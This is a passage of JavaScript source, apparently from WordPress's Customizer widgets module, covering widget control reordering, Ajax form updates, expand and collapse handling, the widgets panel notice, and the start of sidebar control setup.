		_setupControlToggle: function() {
			var self = this, $closeBtn;

			this.container.find( '.widget-top' ).on( 'click', function( e ) {
				e.preventDefault();
				var sidebarWidgetsControl = self.getSidebarWidgetsControl();
				if ( sidebarWidgetsControl.isReordering ) {
					return;
				}
				self.expanded( ! self.expanded() );
			} );

			$closeBtn = this.container.find( '.widget-control-close' );
			$closeBtn.on( 'click', function() {
				self.collapse();
				self.container.find( '.widget-top .widget-action:first' ).focus(); // Keyboard accessibility.
			} );
		},

		/**
		 * Update the title of the form if a title field is entered
		 */
		_setupWidgetTitle: function() {
			var self = this, updateTitle;

			updateTitle = function() {
				var title = self.setting().title,
					inWidgetTitle = self.container.find( '.in-widget-title' );

				if ( title ) {
					inWidgetTitle.text( ': ' + title );
				} else {
					inWidgetTitle.text( '' );
				}
			};
			this.setting.bind( updateTitle );
			updateTitle();
		},

		/**
		 * Set up the widget-reorder-nav
		 */
		_setupReorderUI: function() {
			var self = this, selectSidebarItem, $moveWidgetArea,
				$reorderNav, updateAvailableSidebars, template;

			/**
			 * select the provided sidebar list item in the move widget area
			 *
			 * @param {jQuery} li
			 */
			selectSidebarItem = function( li ) {
				li.siblings( '.selected' ).removeClass( 'selected' );
				li.addClass( 'selected' );
				var isSelfSidebar = ( li.data( 'id' ) === self.params.sidebar_id );
				self.container.find( '.move-widget-btn' ).prop( 'disabled', isSelfSidebar );
			};

			/**
			 * Add the widget reordering elements to the widget control
			 */
			this.container.find( '.widget-title-action' ).after( $( api.Widgets.data.tpl.widgetReorderNav ) );


			template = _.template( api.Widgets.data.tpl.moveWidgetArea );
			$moveWidgetArea = $( template( {
					sidebars: _( api.Widgets.registeredSidebars.toArray() ).pluck( 'attributes' )
				} )
			);
			this.container.find( '.widget-top' ).after( $moveWidgetArea );

			/**
			 * Update available sidebars when their rendered state changes
			 */
			updateAvailableSidebars = function() {
				var $sidebarItems = $moveWidgetArea.find( 'li' ), selfSidebarItem,
					renderedSidebarCount = 0;

				selfSidebarItem = $sidebarItems.filter( function(){
					return $( this ).data( 'id' ) === self.params.sidebar_id;
				} );

				$sidebarItems.each( function() {
					var li = $( this ),
						sidebarId, sidebar, sidebarIsRendered;

					sidebarId = li.data( 'id' );
					sidebar = api.Widgets.registeredSidebars.get( sidebarId );
					sidebarIsRendered = sidebar.get( 'is_rendered' );

					li.toggle( sidebarIsRendered );

					if ( sidebarIsRendered ) {
						renderedSidebarCount += 1;
					}

					if ( li.hasClass( 'selected' ) && ! sidebarIsRendered ) {
						selectSidebarItem( selfSidebarItem );
					}
				} );

				if ( renderedSidebarCount > 1 ) {
					self.container.find( '.move-widget' ).show();
				} else {
					self.container.find( '.move-widget' ).hide();
				}
			};

			updateAvailableSidebars();
			api.Widgets.registeredSidebars.on( 'change:is_rendered', updateAvailableSidebars );

			/**
			 * Handle clicks for up/down/move on the reorder nav
			 */
			$reorderNav = this.container.find( '.widget-reorder-nav' );
			$reorderNav.find( '.move-widget, .move-widget-down, .move-widget-up' ).each( function() {
				$( this ).prepend( self.container.find( '.widget-title' ).text() + ': ' );
			} ).on( 'click keypress', function( event ) {
				if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
					return;
				}
				$( this ).trigger( 'focus' );

				if ( $( this ).is( '.move-widget' ) ) {
					self.toggleWidgetMoveArea();
				} else {
					var isMoveDown = $( this ).is( '.move-widget-down' ),
						isMoveUp = $( this ).is( '.move-widget-up' ),
						i = self.getWidgetSidebarPosition();

					if ( ( isMoveUp && i === 0 ) || ( isMoveDown && i === self.getSidebarWidgetsControl().setting().length - 1 ) ) {
						return;
					}

					if ( isMoveUp ) {
						self.moveUp();
						wp.a11y.speak( l10n.widgetMovedUp );
					} else {
						self.moveDown();
						wp.a11y.speak( l10n.widgetMovedDown );
					}

					$( this ).trigger( 'focus' ); // Re-focus after the container was moved.
				}
			} );

			/**
			 * Handle selecting a sidebar to move to
			 */
			this.container.find( '.widget-area-select' ).on( 'click keypress', 'li', function( event ) {
				if ( event.type === 'keypress' && ( event.which !== 13 && event.which !== 32 ) ) {
					return;
				}
				event.preventDefault();
				selectSidebarItem( $( this ) );
			} );

			/**
			 * Move widget to another sidebar
			 */
			this.container.find( '.move-widget-btn' ).click( function() {
				self.getSidebarWidgetsControl().toggleReordering( false );

				var oldSidebarId = self.params.sidebar_id,
					newSidebarId = self.container.find( '.widget-area-select li.selected' ).data( 'id' ),
					oldSidebarWidgetsSetting, newSidebarWidgetsSetting,
					oldSidebarWidgetIds, newSidebarWidgetIds, i;

				oldSidebarWidgetsSetting = api( 'sidebars_widgets[' + oldSidebarId + ']' );
				newSidebarWidgetsSetting = api( 'sidebars_widgets[' + newSidebarId + ']' );
				oldSidebarWidgetIds = Array.prototype.slice.call( oldSidebarWidgetsSetting() );
				newSidebarWidgetIds = Array.prototype.slice.call( newSidebarWidgetsSetting() );

				i = self.getWidgetSidebarPosition();
				oldSidebarWidgetIds.splice( i, 1 );
				newSidebarWidgetIds.push( self.params.widget_id );

				oldSidebarWidgetsSetting( oldSidebarWidgetIds );
				newSidebarWidgetsSetting( newSidebarWidgetIds );

				self.focus();
			} );
		},

		/**
		 * Highlight widgets in preview when interacted with in the Customizer
		 */
		_setupHighlightEffects: function() {
			var self = this;

			// Highlight whenever hovering or clicking over the form.
			this.container.on( 'mouseenter click', function() {
				self.setting.previewer.send( 'highlight-widget', self.params.widget_id );
			} );

			// Highlight when the setting is updated.
			this.setting.bind( function() {
				self.setting.previewer.send( 'highlight-widget', self.params.widget_id );
			} );
		},

		/**
		 * Set up event handlers for widget updating
		 */
		_setupUpdateUI: function() {
			var self = this, $widgetRoot, $widgetContent,
				$saveBtn, updateWidgetDebounced, formSyncHandler;

			$widgetRoot = this.container.find( '.widget:first' );
			$widgetContent = $widgetRoot.find( '.widget-content:first' );

			// Configure update button.
			$saveBtn = this.container.find( '.widget-control-save' );
			$saveBtn.val( l10n.saveBtnLabel );
			$saveBtn.attr( 'title', l10n.saveBtnTooltip );
			$saveBtn.removeClass( 'button-primary' );
			$saveBtn.on( 'click', function( e ) {
				e.preventDefault();
				self.updateWidget( { disable_form: true } ); // @todo disable_form is unused?
			} );

			updateWidgetDebounced = _.debounce( function() {
				self.updateWidget();
			}, 250 );

			// Trigger widget form update when hitting Enter within an input.
			$widgetContent.on( 'keydown', 'input', function( e ) {
				if ( 13 === e.which ) { // Enter.
					e.preventDefault();
					self.updateWidget( { ignoreActiveElement: true } );
				}
			} );

			// Handle widgets that support live previews.
			$widgetContent.on( 'change input propertychange', ':input', function( e ) {
				if ( ! self.liveUpdateMode ) {
					return;
				}
				if ( e.type === 'change' || ( this.checkValidity && this.checkValidity() ) ) {
					updateWidgetDebounced();
				}
			} );

			// Remove loading indicators when the setting is saved and the preview updates.
			this.setting.previewer.channel.bind( 'synced', function() {
				self.container.removeClass( 'previewer-loading' );
			} );

			api.previewer.bind( 'widget-updated', function( updatedWidgetId ) {
				if ( updatedWidgetId === self.params.widget_id ) {
					self.container.removeClass( 'previewer-loading' );
				}
			} );

			formSyncHandler = api.Widgets.formSyncHandlers[ this.params.widget_id_base ];
			if ( formSyncHandler ) {
				$( document ).on( 'widget-synced', function( e, widget ) {
					if ( $widgetRoot.is( widget ) ) {
						formSyncHandler.apply( document, arguments );
					}
				} );
			}
		},

		/**
		 * Update widget control to indicate whether it is currently rendered.
		 *
		 * Overrides api.Control.toggle()
		 *
		 * @since 4.1.0
		 *
		 * @param {boolean}   active
		 * @param {Object}    args
		 * @param {function}  args.completeCallback
		 */
		onChangeActive: function ( active, args ) {
			// Note: there is a second 'args' parameter being passed, merged on top of this.defaultActiveArguments.
			this.container.toggleClass( 'widget-rendered', active );
			if ( args.completeCallback ) {
				args.completeCallback();
			}
		},

		/**
		 * Set up event handlers for widget removal
		 */
		_setupRemoveUI: function() {
			var self = this, $removeBtn, replaceDeleteWithRemove;

			// Configure remove button.
			$removeBtn = this.container.find( '.widget-control-remove' );
			$removeBtn.on( 'click', function() {
				// Find an adjacent element to add focus to when this widget goes away.
				var $adjacentFocusTarget;
				if ( self.container.next().is( '.customize-control-widget_form' ) ) {
					$adjacentFocusTarget = self.container.next().find( '.widget-action:first' );
				} else if ( self.container.prev().is( '.customize-control-widget_form' ) ) {
					$adjacentFocusTarget = self.container.prev().find( '.widget-action:first' );
				} else {
					$adjacentFocusTarget = self.container.next( '.customize-control-sidebar_widgets' ).find( '.add-new-widget:first' );
				}

				self.container.slideUp( function() {
					var sidebarsWidgetsControl = api.Widgets.getSidebarWidgetControlContainingWidget( self.params.widget_id ),
						sidebarWidgetIds, i;

					if ( ! sidebarsWidgetsControl ) {
						return;
					}

					sidebarWidgetIds = sidebarsWidgetsControl.setting().slice();
					i = _.indexOf( sidebarWidgetIds, self.params.widget_id );
					if ( -1 === i ) {
						return;
					}

					sidebarWidgetIds.splice( i, 1 );
					sidebarsWidgetsControl.setting( sidebarWidgetIds );

					$adjacentFocusTarget.focus(); // Keyboard accessibility.
				} );
			} );

			replaceDeleteWithRemove = function() {
				$removeBtn.text( l10n.removeBtnLabel ); // wp_widget_control() outputs the button as "Delete".
				$removeBtn.attr( 'title', l10n.removeBtnTooltip );
			};

			if ( this.params.is_new ) {
				api.bind( 'saved', replaceDeleteWithRemove );
			} else {
				replaceDeleteWithRemove();
			}
		},

		/**
		 * Find all inputs in a widget container that should be considered when
		 * comparing the loaded form with the sanitized form, whose fields will
		 * be aligned to copy the sanitized over. The elements returned by this
		 * are passed into this._getInputsSignature(), and they are iterated
		 * over when copying sanitized values over to the form loaded.
		 *
		 * @param {jQuery} container element in which to look for inputs
		 * @return {jQuery} inputs
		 * @private
		 */
		_getInputs: function( container ) {
			return $( container ).find( ':input[name]' );
		},

		/**
		 * Iterate over supplied inputs and create a signature string for all of them together.
		 * This string can be used to compare whether or not the form has all of the same fields.
		 *
		 * @param {jQuery} inputs
		 * @return {string}
		 * @private
		 */
		_getInputsSignature: function( inputs ) {
			var inputsSignatures = _( inputs ).map( function( input ) {
				var $input = $( input ), signatureParts;

				if ( $input.is( ':checkbox, :radio' ) ) {
					signatureParts = [ $input.attr( 'id' ), $input.attr( 'name' ), $input.prop( 'value' ) ];
				} else {
					signatureParts = [ $input.attr( 'id' ), $input.attr( 'name' ) ];
				}

				return signatureParts.join( ',' );
			} );

			return inputsSignatures.join( ';' );
		},

		/**
		 * Get the state for an input depending on its type.
		 *
		 * @param {jQuery|Element} input
		 * @return {string|boolean|Array|*}
		 * @private
		 */
		_getInputState: function( input ) {
			input = $( input );
			if ( input.is( ':radio, :checkbox' ) ) {
				return input.prop( 'checked' );
			} else if ( input.is( 'select[multiple]' ) ) {
				return input.find( 'option:selected' ).map( function () {
					return $( this ).val();
				} ).get();
			} else {
				return input.val();
			}
		},

		/**
		 * Update an input's state based on its type.
		 *
		 * @param {jQuery|Element} input
		 * @param {string|boolean|Array|*} state
		 * @private
		 */
		_setInputState: function ( input, state ) {
			input = $( input );
			if ( input.is( ':radio, :checkbox' ) ) {
				input.prop( 'checked', state );
			} else if ( input.is( 'select[multiple]' ) ) {
				if ( ! Array.isArray( state ) ) {
					state = [];
				} else {
					// Make sure all state items are strings since the DOM value is a string.
					state = _.map( state, function ( value ) {
						return String( value );
					} );
				}
				input.find( 'option' ).each( function () {
					$( this ).prop( 'selected', -1 !== _.indexOf( state, String( this.value ) ) );
				} );
			} else {
				input.val( state );
			}
		},

		/***********************************************************************
		 * Begin public API methods
		 **********************************************************************/

		/**
		 * @return {wp.customize.controlConstructor.sidebar_widgets[]}
		 */
		getSidebarWidgetsControl: function() {
			var settingId, sidebarWidgetsControl;

			settingId = 'sidebars_widgets[' + this.params.sidebar_id + ']';
			sidebarWidgetsControl = api.control( settingId );

			if ( ! sidebarWidgetsControl ) {
				return;
			}

			return sidebarWidgetsControl;
		},

		/**
		 * Submit the widget form via Ajax and get back the updated instance,
		 * along with the new widget control form to render.
		 *
		 * @param {Object} [args]
		 * @param {Object|null} [args.instance=null]  When the model changes, the instance is sent here; otherwise, the inputs from the form are used
		 * @param {Function|null} [args.complete=null]  Function which is called when the request finishes. Context is bound to the control. First argument is any error. Following arguments are for success.
		 * @param {boolean} [args.ignoreActiveElement=false] Whether or not updating a field will be deferred if focus is still on the element.
		 */
		updateWidget: function( args ) {
			var self = this, instanceOverride, completeCallback, $widgetRoot, $widgetContent,
				updateNumber, params, data, $inputs, processing, jqxhr, isChanged;

			// The updateWidget logic requires that the form fields to be fully present.
			self.embedWidgetContent();

			args = $.extend( {
				instance: null,
				complete: null,
				ignoreActiveElement: false
			}, args );

			instanceOverride = args.instance;
			completeCallback = args.complete;

			this._updateCount += 1;
			updateNumber = this._updateCount;

			$widgetRoot = this.container.find( '.widget:first' );
			$widgetContent = $widgetRoot.find( '.widget-content:first' );

			// Remove a previous error message.
			$widgetContent.find( '.widget-error' ).remove();

			this.container.addClass( 'widget-form-loading' );
			this.container.addClass( 'previewer-loading' );
			processing = api.state( 'processing' );
			processing( processing() + 1 );

			if ( ! this.liveUpdateMode ) {
				this.container.addClass( 'widget-form-disabled' );
			}

			params = {};
			params.action = 'update-widget';
			params.wp_customize = 'on';
			params.nonce = api.settings.nonce['update-widget'];
			params.customize_theme = api.settings.theme.stylesheet;
			params.customized = wp.customize.previewer.query().customized;

			data = $.param( params );
			$inputs = this._getInputs( $widgetContent );

			/*
			 * Store the value we're submitting in data so that when the response comes back,
			 * we know if it got sanitized; if there is no difference in the sanitized value,
			 * then we do not need to touch the UI and mess up the user's ongoing editing.
			 */
			$inputs.each( function() {
				$( this ).data( 'state' + updateNumber, self._getInputState( this ) );
			} );

			if ( instanceOverride ) {
				data += '&' + $.param( { 'sanitized_widget_setting': JSON.stringify( instanceOverride ) } );
			} else {
				data += '&' + $inputs.serialize();
			}
			data += '&' + $widgetContent.find( '~ :input' ).serialize();

			if ( this._previousUpdateRequest ) {
				this._previousUpdateRequest.abort();
			}
			jqxhr = $.post( wp.ajax.settings.url, data );
			this._previousUpdateRequest = jqxhr;

			jqxhr.done( function( r ) {
				var message, sanitizedForm,	$sanitizedInputs, hasSameInputsInResponse,
					isLiveUpdateAborted = false;

				// Check if the user is logged out.
				if ( '0' === r ) {
					api.previewer.preview.iframe.hide();
					api.previewer.login().done( function() {
						self.updateWidget( args );
						api.previewer.preview.iframe.show();
					} );
					return;
				}

				// Check for cheaters.
				if ( '-1' === r ) {
					api.previewer.cheatin();
					return;
				}

				if ( r.success ) {
					sanitizedForm = $( '<div>' + r.data.form + '</div>' );
					$sanitizedInputs = self._getInputs( sanitizedForm );
					hasSameInputsInResponse = self._getInputsSignature( $inputs ) === self._getInputsSignature( $sanitizedInputs );

					// Restore live update mode if sanitized fields are now aligned with the existing fields.
					if ( hasSameInputsInResponse && ! self.liveUpdateMode ) {
						self.liveUpdateMode = true;
						self.container.removeClass( 'widget-form-disabled' );
						self.container.find( 'input[name="savewidget"]' ).hide();
					}

					// Sync sanitized field states to existing fields if they are aligned.
					if ( hasSameInputsInResponse && self.liveUpdateMode ) {
						$inputs.each( function( i ) {
							var $input = $( this ),
								$sanitizedInput = $( $sanitizedInputs[i] ),
								submittedState, sanitizedState,	canUpdateState;

							submittedState = $input.data( 'state' + updateNumber );
							sanitizedState = self._getInputState( $sanitizedInput );
							$input.data( 'sanitized', sanitizedState );

							canUpdateState = ( ! _.isEqual( submittedState, sanitizedState ) && ( args.ignoreActiveElement || ! $input.is( document.activeElement ) ) );
							if ( canUpdateState ) {
								self._setInputState( $input, sanitizedState );
							}
						} );

						$( document ).trigger( 'widget-synced', [ $widgetRoot, r.data.form ] );

					// Otherwise, if sanitized fields are not aligned with existing fields, disable live update mode if enabled.
					} else if ( self.liveUpdateMode ) {
						self.liveUpdateMode = false;
						self.container.find( 'input[name="savewidget"]' ).show();
						isLiveUpdateAborted = true;

					// Otherwise, replace existing form with the sanitized form.
					} else {
						$widgetContent.html( r.data.form );

						self.container.removeClass( 'widget-form-disabled' );

						$( document ).trigger( 'widget-updated', [ $widgetRoot ] );
					}

					/**
					 * If the old instance is identical to the new one, there is nothing new
					 * needing to be rendered, and so we can preempt the event for the
					 * preview finishing loading.
					 */
					isChanged = ! isLiveUpdateAborted && ! _( self.setting() ).isEqual( r.data.instance );
					if ( isChanged ) {
						self.isWidgetUpdating = true; // Suppress triggering another updateWidget.
						self.setting( r.data.instance );
						self.isWidgetUpdating = false;
					} else {
						// No change was made, so stop the spinner now instead of when the preview would updates.
						self.container.removeClass( 'previewer-loading' );
					}

					if ( completeCallback ) {
						completeCallback.call( self, null, { noChange: ! isChanged, ajaxFinished: true } );
					}
				} else {
					// General error message.
					message = l10n.error;

					if ( r.data && r.data.message ) {
						message = r.data.message;
					}

					if ( completeCallback ) {
						completeCallback.call( self, message );
					} else {
						$widgetContent.prepend( '<p class="widget-error"><strong>' + message + '</strong></p>' );
					}
				}
			} );

			jqxhr.fail( function( jqXHR, textStatus ) {
				if ( completeCallback ) {
					completeCallback.call( self, textStatus );
				}
			} );

			jqxhr.always( function() {
				self.container.removeClass( 'widget-form-loading' );

				$inputs.each( function() {
					$( this ).removeData( 'state' + updateNumber );
				} );

				processing( processing() - 1 );
			} );
		},

		/**
		 * Expand the accordion section containing a control
		 */
		expandControlSection: function() {
			api.Control.prototype.expand.call( this );
		},

		/**
		 * @since 4.1.0
		 *
		 * @param {Boolean} expanded
		 * @param {Object} [params]
		 * @return {Boolean} False if state already applied.
		 */
		_toggleExpanded: api.Section.prototype._toggleExpanded,

		/**
		 * @since 4.1.0
		 *
		 * @param {Object} [params]
		 * @return {Boolean} False if already expanded.
		 */
		expand: api.Section.prototype.expand,

		/**
		 * Expand the widget form control
		 *
		 * @deprecated 4.1.0 Use this.expand() instead.
		 */
		expandForm: function() {
			this.expand();
		},

		/**
		 * @since 4.1.0
		 *
		 * @param {Object} [params]
		 * @return {Boolean} False if already collapsed.
		 */
		collapse: api.Section.prototype.collapse,

		/**
		 * Collapse the widget form control
		 *
		 * @deprecated 4.1.0 Use this.collapse() instead.
		 */
		collapseForm: function() {
			this.collapse();
		},

		/**
		 * Expand or collapse the widget control
		 *
		 * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide )
		 *
		 * @param {boolean|undefined} [showOrHide] If not supplied, will be inverse of current visibility
		 */
		toggleForm: function( showOrHide ) {
			if ( typeof showOrHide === 'undefined' ) {
				showOrHide = ! this.expanded();
			}
			this.expanded( showOrHide );
		},

		/**
		 * Respond to change in the expanded state.
		 *
		 * @param {boolean} expanded
		 * @param {Object} args  merged on top of this.defaultActiveArguments
		 */
		onChangeExpanded: function ( expanded, args ) {
			var self = this, $widget, $inside, complete, prevComplete, expandControl, $toggleBtn;

			self.embedWidgetControl(); // Make sure the outer form is embedded so that the expanded state can be set in the UI.
			if ( expanded ) {
				self.embedWidgetContent();
			}

			// If the expanded state is unchanged only manipulate container expanded states.
			if ( args.unchanged ) {
				if ( expanded ) {
					api.Control.prototype.expand.call( self, {
						completeCallback:  args.completeCallback
					});
				}
				return;
			}

			$widget = this.container.find( 'div.widget:first' );
			$inside = $widget.find( '.widget-inside:first' );
			$toggleBtn = this.container.find( '.widget-top button.widget-action' );

			expandControl = function() {

				// Close all other widget controls before expanding this one.
				api.control.each( function( otherControl ) {
					if ( self.params.type === otherControl.params.type && self !== otherControl ) {
						otherControl.collapse();
					}
				} );

				complete = function() {
					self.container.removeClass( 'expanding' );
					self.container.addClass( 'expanded' );
					$widget.addClass( 'open' );
					$toggleBtn.attr( 'aria-expanded', 'true' );
					self.container.trigger( 'expanded' );
				};
				if ( args.completeCallback ) {
					prevComplete = complete;
					complete = function () {
						prevComplete();
						args.completeCallback();
					};
				}

				if ( self.params.is_wide ) {
					$inside.fadeIn( args.duration, complete );
				} else {
					$inside.slideDown( args.duration, complete );
				}

				self.container.trigger( 'expand' );
				self.container.addClass( 'expanding' );
			};

			if ( $toggleBtn.attr( 'aria-expanded' ) === 'false' ) {
				if ( api.section.has( self.section() ) ) {
					api.section( self.section() ).expand( {
						completeCallback: expandControl
					} );
				} else {
					expandControl();
				}
			} else {
				complete = function() {
					self.container.removeClass( 'collapsing' );
					self.container.removeClass( 'expanded' );
					$widget.removeClass( 'open' );
					$toggleBtn.attr( 'aria-expanded', 'false' );
					self.container.trigger( 'collapsed' );
				};
				if ( args.completeCallback ) {
					prevComplete = complete;
					complete = function () {
						prevComplete();
						args.completeCallback();
					};
				}

				self.container.trigger( 'collapse' );
				self.container.addClass( 'collapsing' );

				if ( self.params.is_wide ) {
					$inside.fadeOut( args.duration, complete );
				} else {
					$inside.slideUp( args.duration, function() {
						$widget.css( { width:'', margin:'' } );
						complete();
					} );
				}
			}
		},

		/**
		 * Get the position (index) of the widget in the containing sidebar
		 *
		 * @return {number}
		 */
		getWidgetSidebarPosition: function() {
			var sidebarWidgetIds, position;

			sidebarWidgetIds = this.getSidebarWidgetsControl().setting();
			position = _.indexOf( sidebarWidgetIds, this.params.widget_id );

			if ( position === -1 ) {
				return;
			}

			return position;
		},

		/**
		 * Move widget up one in the sidebar
		 */
		moveUp: function() {
			this._moveWidgetByOne( -1 );
		},

		/**
		 * Move widget up one in the sidebar
		 */
		moveDown: function() {
			this._moveWidgetByOne( 1 );
		},

		/**
		 * @private
		 *
		 * @param {number} offset 1|-1
		 */
		_moveWidgetByOne: function( offset ) {
			var i, sidebarWidgetsSetting, sidebarWidgetIds,	adjacentWidgetId;

			i = this.getWidgetSidebarPosition();

			sidebarWidgetsSetting = this.getSidebarWidgetsControl().setting;
			sidebarWidgetIds = Array.prototype.slice.call( sidebarWidgetsSetting() ); // Clone.
			adjacentWidgetId = sidebarWidgetIds[i + offset];
			sidebarWidgetIds[i + offset] = this.params.widget_id;
			sidebarWidgetIds[i] = adjacentWidgetId;

			sidebarWidgetsSetting( sidebarWidgetIds );
		},

		/**
		 * Toggle visibility of the widget move area
		 *
		 * @param {boolean} [showOrHide]
		 */
		toggleWidgetMoveArea: function( showOrHide ) {
			var self = this, $moveWidgetArea;

			$moveWidgetArea = this.container.find( '.move-widget-area' );

			if ( typeof showOrHide === 'undefined' ) {
				showOrHide = ! $moveWidgetArea.hasClass( 'active' );
			}

			if ( showOrHide ) {
				// Reset the selected sidebar.
				$moveWidgetArea.find( '.selected' ).removeClass( 'selected' );

				$moveWidgetArea.find( 'li' ).filter( function() {
					return $( this ).data( 'id' ) === self.params.sidebar_id;
				} ).addClass( 'selected' );

				this.container.find( '.move-widget-btn' ).prop( 'disabled', true );
			}

			$moveWidgetArea.toggleClass( 'active', showOrHide );
		},

		/**
		 * Highlight the widget control and section
		 */
		highlightSectionAndControl: function() {
			var $target;

			if ( this.container.is( ':hidden' ) ) {
				$target = this.container.closest( '.control-section' );
			} else {
				$target = this.container;
			}

			$( '.highlighted' ).removeClass( 'highlighted' );
			$target.addClass( 'highlighted' );

			setTimeout( function() {
				$target.removeClass( 'highlighted' );
			}, 500 );
		}
	} );

	/**
	 * wp.customize.Widgets.WidgetsPanel
	 *
	 * Customizer panel containing the widget area sections.
	 *
	 * @since 4.4.0
	 *
	 * @class    wp.customize.Widgets.WidgetsPanel
	 * @augments wp.customize.Panel
	 */
	api.Widgets.WidgetsPanel = api.Panel.extend(/** @lends wp.customize.Widgets.WigetsPanel.prototype */{

		/**
		 * Add and manage the display of the no-rendered-areas notice.
		 *
		 * @since 4.4.0
		 */
		ready: function () {
			var panel = this;

			api.Panel.prototype.ready.call( panel );

			panel.deferred.embedded.done(function() {
				var panelMetaContainer, noticeContainer, updateNotice, getActiveSectionCount, shouldShowNotice;
				panelMetaContainer = panel.container.find( '.panel-meta' );

				// @todo This should use the Notifications API introduced to panels. See <https://core.trac.wordpress.org/ticket/38794>.
				noticeContainer = $( '<div></div>', {
					'class': 'no-widget-areas-rendered-notice'
				});
				panelMetaContainer.append( noticeContainer );

				/**
				 * Get the number of active sections in the panel.
				 *
				 * @return {number} Number of active sidebar sections.
				 */
				getActiveSectionCount = function() {
					return _.filter( panel.sections(), function( section ) {
						return 'sidebar' === section.params.type && section.active();
					} ).length;
				};

				/**
				 * Determine whether or not the notice should be displayed.
				 *
				 * @return {boolean}
				 */
				shouldShowNotice = function() {
					var activeSectionCount = getActiveSectionCount();
					if ( 0 === activeSectionCount ) {
						return true;
					} else {
						return activeSectionCount !== api.Widgets.data.registeredSidebars.length;
					}
				};

				/**
				 * Update the notice.
				 *
				 * @return {void}
				 */
				updateNotice = function() {
					var activeSectionCount = getActiveSectionCount(), someRenderedMessage, nonRenderedAreaCount, registeredAreaCount;
					noticeContainer.empty();

					registeredAreaCount = api.Widgets.data.registeredSidebars.length;
					if ( activeSectionCount !== registeredAreaCount ) {

						if ( 0 !== activeSectionCount ) {
							nonRenderedAreaCount = registeredAreaCount - activeSectionCount;
							someRenderedMessage = l10n.someAreasShown[ nonRenderedAreaCount ];
						} else {
							someRenderedMessage = l10n.noAreasShown;
						}
						if ( someRenderedMessage ) {
							noticeContainer.append( $( '<p></p>', {
								text: someRenderedMessage
							} ) );
						}

						noticeContainer.append( $( '<p></p>', {
							text: l10n.navigatePreview
						} ) );
					}
				};
				updateNotice();

				/*
				 * Set the initial visibility state for rendered notice.
				 * Update the visibility of the notice whenever a reflow happens.
				 */
				noticeContainer.toggle( shouldShowNotice() );
				api.previewer.deferred.active.done( function () {
					noticeContainer.toggle( shouldShowNotice() );
				});
				api.bind( 'pane-contents-reflowed', function() {
					var duration = ( 'resolved' === api.previewer.deferred.active.state() ) ? 'fast' : 0;
					updateNotice();
					if ( shouldShowNotice() ) {
						noticeContainer.slideDown( duration );
					} else {
						noticeContainer.slideUp( duration );
					}
				});
			});
		},

		/**
		 * Allow an active widgets panel to be contextually active even when it has no active sections (widget areas).
		 *
		 * This ensures that the widgets panel appears even when there are no
		 * sidebars displayed on the URL currently being previewed.
		 *
		 * @since 4.4.0
		 *
		 * @return {boolean}
		 */
		isContextuallyActive: function() {
			var panel = this;
			return panel.active();
		}
	});

	/**
	 * wp.customize.Widgets.SidebarSection
	 *
	 * Customizer section representing a widget area widget
	 *
	 * @since 4.1.0
	 *
	 * @class    wp.customize.Widgets.SidebarSection
	 * @augments wp.customize.Section
	 */
	api.Widgets.SidebarSection = api.Section.extend(/** @lends wp.customize.Widgets.SidebarSection.prototype */{

		/**
		 * Sync the section's active state back to the Backbone model's is_rendered attribute
		 *
		 * @since 4.1.0
		 */
		ready: function () {
			var section = this, registeredSidebar;
			api.Section.prototype.ready.call( this );
			registeredSidebar = api.Widgets.registeredSidebars.get( section.params.sidebarId );
			section.active.bind( function ( active ) {
				registeredSidebar.set( 'is_rendered', active );
			});
			registeredSidebar.set( 'is_rendered', section.active() );
		}
	});

	/**
	 * wp.customize.Widgets.SidebarControl
	 *
	 * Customizer control for widgets.
	 * Note that 'sidebar_widgets' must match the WP_Widget_Area_Customize_Control::$type
	 *
	 * @since 3.9.0
	 *
	 * @class    wp.customize.Widgets.SidebarControl
	 * @augments wp.customize.Control
	 */
	api.Widgets.SidebarControl = api.Control.extend(/** @lends wp.customize.Widgets.SidebarControl.prototype */{

		/**
		 * Set up the control
		 */
		ready: function() {
			this.$controlSection = this.container.closest( '.control-section' );
			this.$sectionContent = this.container.closest( '.accordion-section-content' );

			this._setupModel();
			this._setupSortable();
			this._setupAddition();
			this._applyCardinalOrderClassNames();
		},

		/**
		 * Update ordering of widget control forms when the setting is updated
		 */
		_setupModel: function() {
			var self = this;

			this.setting.bind( function( newWidgetIds, oldWidgetIds ) {
				var widgetFormControls, removedWidgetIds, priority;

				removedWidgetIds = _( oldWidgetIds ).difference( newWidgetIds );

				// Filter out any persistent widget IDs for widgets which have been deactivated.
				newWidgetIds = _( newWidgetIds ).filter( function( newWidgetId ) {
					var parsedWidgetId = parseWidgetId( newWidgetId );

					return !! api.Widgets.availableWidgets.findWhere( { id_base: parsedWidgetId.id_base } );
				} );

				widgetFormControls = _( newWidgetIds ).map( function( widgetId ) {
					var widgetFormControl = api.Widgets.getWidgetFormControlForWidget( widgetId );

					if ( ! widgetFormControl ) {
						widgetFormControl = self.addWidget( widgetId );
					}

					return widgetFormControl;
				} );

				// Sort widget controls to their new positions.
				widgetFormControls.sort( function( a, b ) {
					var aIndex = _.indexOf( newWidgetIds, a.params.widget_id ),
						bIndex = _.indexOf( newWidgetIds, b.params.widget_id );
					return aIndex - bIndex;
				});

				priority = 0;
				_( widgetFormControls ).each( function ( control ) {
					control.priority( priority );
					control.section( self.section() );
					priority += 1;
				});
				self.priority( priority ); // Make sure sidebar control remains at end.

				// Re-sort widget form controls (including widgets form other sidebars newly moved here).
				self._applyCardinalOrderClassNames();

				// If the widget was dragged into the sidebar, make sure the sidebar_id param is updated.
				_( widgetFormControls ).each( function( widgetFormControl ) {
					widgetFormControl.params.sidebar_id = self.params.sidebar_id;
				} );

				// Cleanup after widget removal.
				_( removedWidgetIds ).each( function( removedWidgetId ) {

					// Using setTimeout so that when moving a widget to another sidebar,
					// the other sidebars_widgets settings get a chance to update.
					setTimeout( function() {
						var removedControl, wasDraggedToAnotherSidebar, inactiveWidgets, removedIdBase,
							widget, isPresentInAnotherSidebar = false;

						// Check if the widget is in another sidebar.
						api.each( function( otherSetting ) {
							if ( otherSetting.id === self.setting.id || 0 !== otherSetting.id.indexOf( 'sidebars_widgets[' ) || otherSetting.id === 'sidebars_widgets[wp_inactive_widgets]' ) {
								return;
							}

							var otherSidebarWidgets = otherSetting(), i;

							i = _.indexOf( otherSidebarWidgets, removedWidgetId );
							if ( -1 !== i ) {
								isPresentInAnotherSidebar = true;
							}
						} );

						// If the widget is present in another sidebar, abort!
						if ( isPresentInAnotherSidebar ) {
							return;
						}

						removedControl = api.Widgets.getWidgetFormControlForWidget( removedWidgetId );

						// Detect if widget control was dragged to another sidebar.
